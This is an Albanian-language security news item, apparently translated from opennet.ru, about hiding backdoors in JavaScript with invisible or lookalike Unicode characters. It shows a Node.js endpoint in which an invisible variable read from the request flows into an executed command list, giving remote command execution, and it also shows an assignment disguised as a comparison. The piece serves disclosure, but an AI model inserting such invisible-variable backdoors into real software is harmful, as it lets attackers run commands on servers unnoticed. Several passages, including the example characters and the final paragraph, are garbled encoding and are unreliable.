Pas metodës së sulmit Trojan Source, e cila bazohet në përdorimin e simboleve Unicode që ndryshojnë renditjen e shfaqjes së tekstit me dy drejtima, është publikuar një teknikë tjetër e futjes së veprimeve të fshehta, e aplikuar për kodin në gjuhën JavaScript. Metoda e re bazohet në përdorimin e simbolit unicode '㠀' (kodi 0x3164, 'HANGUL FILLER'), i cili i përket kategorisë së shkronjave, por nuk ka përmbajtje të dukshme. Kategoria Unicode, në të cilën hyn ky simbol, lejohet që nga specifikimi ECMAScript 2015 për t'u përdorur në emrat e variablave JavaScript, duke ofruar mundësinë për të krijuar variabla të padukshëm ose variabla të rinj, të pandashëm nga variablat e tjerë në redaktorët e njohur të kodit, si Notepad++ dhe VS Code.
Si shembull, jepet kodi për platformën Node.js, ku me ndihmën e një variable, e cila përbëhet nga një karakter «㠀», fshihet një backdoor, i cili lejon ekzekutimin e kodit të caktuar nga sulmuesi: app.get('/network_health', async (req, res) => { const { timeout,㠀} = req.query; // në të vërtetë është e shënuar si «const { timeout,㠀 \u3164}» const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',㠀 // pas presjes ndodhet karakteri \u3164 ];
Në pamje të parë, përmes parametrave të jashtëm kalon vetëm vlera e timeout-it, ndërsa arria e komandave të ekzekutueshme përmban një listë fikse të padëmshme. Por në fakt, pas ndryshores timeout, i jepet vlera një ndryshore tjetër të padukshme me kodin e simbolit \u3164, e cila gjithashtu është përfshirë në arrinë e komandave të ekzekutimit. Kështu, me një strukturë të tillë, për aktivizimin e backdoor-it dhe ekzekutimin e kodit të tij, sulmuesi mund të dërgojë një kërkesë të formës «https://host:8080/network_health?=komanda».
Si njĂ« shembull tjetĂ«r, simboli «Ç» (ALVEOLAR CLICK) mund tĂ« pĂ«rdoret pĂ«r tĂ« krijuar dukshmĂ«rinĂ« e njĂ« shenje tĂ« thirrjes. PĂ«r shembull, shprehja «if(environmentÇ=ENV_PROD){» kur ekzekutohet nĂ« Node.js 14 do tĂ« jetĂ« gjithmonĂ« e vĂ«rtetĂ«, pasi nĂ« tĂ« Ă«shtĂ« njĂ« caktim i ndryshores «environmentÇ» me vlerĂ«n ENV_PROD dhe jo njĂ« kontroll i ndryshimit. NdĂ«r simbolet tepĂ«r tĂ« ngatĂ«rrueshme unicode, po ashtu pĂ«rmenden «ïŒÂ», «â», «ïŒÂ», «⩔», «âšÂ», «⫝̸», «êżÂ» dhe «â».
Burimi: opennet.ru
